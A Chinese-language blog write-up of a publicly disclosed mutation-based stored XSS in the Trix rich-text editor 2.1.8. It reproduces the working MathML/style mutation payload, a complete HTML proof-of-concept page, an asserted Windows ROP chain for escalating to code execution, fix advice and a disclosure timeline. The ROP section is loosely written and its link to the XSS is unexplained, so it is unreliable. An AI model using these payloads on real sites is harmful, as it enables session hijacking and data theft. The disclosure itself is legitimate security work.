Trix编辑器最新版(2.1.8)基于变异的存储型XSS漏洞分析与利用

本文详细分析了Trix编辑器最新版本(2.1.8)中存在的基于DOM变异的存储型XSS漏洞,包括漏洞原理、利用向量、复现步骤,以及如何通过该漏洞实现远程代码执行(RCE)的完整技术细节。

报告 #2819573 - Trix Editor最新版本(2.1.8)基于变异的存储型XSS

漏洞概述

发现Trix Editor (https://github.com/basecamp/trix) 使用的清理器存在绕过漏洞,该绕过基于DOM变异技术,通过复制粘贴向量可实现XSS攻击。

攻击载荷示例

1
<div data-trix-attachment="{&quot;contentType&quot;:&quot;text/html5&quot;,&quot;content&quot;:&quot;&lt;math&gt;&lt;mtext&gt;&lt;table&gt;&lt;mglyph&gt;&lt;style&gt;&lt;img src=x onerror=alert()&gt;&lt;/style&gt;XSS POC&quot;}"></div>

解码HTML实体后得到以下有效载荷,包含变异XSS向量:

1
<math><mtext><table><mglyph><style><img src=x onerror=alert()></style>

关于此绕过技术的更多详细信息可参考:https://research.securitum.com/mutation-xss-via-mathml-mutation-dompurify-2-0-17-bypass/

复现步骤

使用报告#2521419中的类似PoC代码,保存为.html文件,复制文本"copy me"并粘贴到编辑器中,将弹出alert对话框。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html lang="en">
<head>
 <meta charset="UTF-8">
 <title>Trix Editor XSS Demo</title>
 <script src="https://cdn.jsdelivr.net/npm/trix@2.1.8/dist/trix.umd.js"></script>
 <link href="https://cdn.jsdelivr.net/npm/trix@2.1.1/dist/trix.min.css" rel="stylesheet">
</head>
<body>
 <h1>Trix Editor XSS Demo</h1>
 <trix-editor></trix-editor>
 <script>
  document.write(`copy<div data-trix-attachment="{&quot;contentType&quot;:&quot;text/html5&quot;,&quot;content&quot;:&quot;&lt;math&gt;&lt;mtext&gt;&lt;table&gt;&lt;mglyph&gt;&lt;style&gt;&lt;img src=x onerror=alert()&gt;&lt;/style&gt;XSS POC&quot;}"></div>me`);
 </script>
</body>
</html>

影响

攻击者可利用此漏洞在用户会话上下文中执行任意JavaScript代码,可能导致未经授权的操作或敏感信息泄露。

RCE利用开发

通过进一步开发,成功将XSS漏洞升级为远程代码执行(RCE)漏洞:

Windows ROP链

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
; ROP Stage 1: 将"calc.exe"写入可写内存区域
pop rcx              ; 将"calc.exe"部分加载到rcx
ret;
pop rax              ; 将可写地址加载到rax >0x9519000
ret;
mov [rax], rcx       ; 将"calc"写入可写区域

; ROP Stage 2: 解析内核基址和WinExec函数地址
pop rcx              ; 将内核基址加载到rcx
ret   ;
mov rax, [rcx]       ; 解析内核函数指针
pop rbx              ; 加载WinExec的偏移量
ret     ; WinExec从内核基址的偏移 ->0x68820
add rax, rbx         ; 计算WinExec地址

; ROP Stage 3: 为WinExec准备参数
pop rcx              ; 将"calc.exe"地址加载到rcx; 0x9519000
ret;
pop rdx              ; 将SW_SHOWNORMAL加载到rdx
ret       ;     0x1 SW_SHOWNORMAL = 1
add rsp, 0x20        ; 对齐堆栈 
add rax, rbx         ; 

; ROP Stage 4: 触发WinExec
call rax             ; 调用WinExec("calc.exe", SW_SHOWNORMAL)

macOS ARM利用

同时开发了针对macOS ARM架构的PoC代码,可在特定配置下实现RCE。

修复建议

  1. 更新DOMPurify到最新版本(3.2.0以上)
  2. 使用DOMPurify的RETURN_DOM选项直接返回DOM对象
  3. 避免对清理后的字符串进行任何修改操作
  4. 定期更新Electron版本至最新
  5. 启用沙箱模式以彻底修复V8相关漏洞

时间线

  • 2024年11月4日:漏洞报告提交
  • 2024年11月21日:漏洞确认并标记为严重级别
  • 2024年11月26日:修复部署并发放赏金
  • 2024年12月9日:CVE发布(GHSA-6vx4-v2jw-qwqh)
  • 2025年6月27日:报告公开披露

技术细节

修复后的代码使用DOMPurify进行清理,但需要注意Nr方法中对清理后字符串的处理可能引入新的风险:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
let Nr = function() {
  let i = arguments.length > 0 && arguments[0] !== void 0 ? arguments[0] : "";
  i = i.replace(/<\/html[^>]*>[^]*$/i, "</html>");
  let t = document.implementation.createHTMLDocument("");
  t.documentElement.innerHTML = i;
  Array.from(t.head.querySelectorAll("style")).forEach(e => {
    t.body.appendChild(e)
  });
  t.body
}

建议使用DOMPurify的RETURN_DOM选项:

1
const clean = DOMPurify.sanitize(dirty, {RETURN_DOM: true});
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计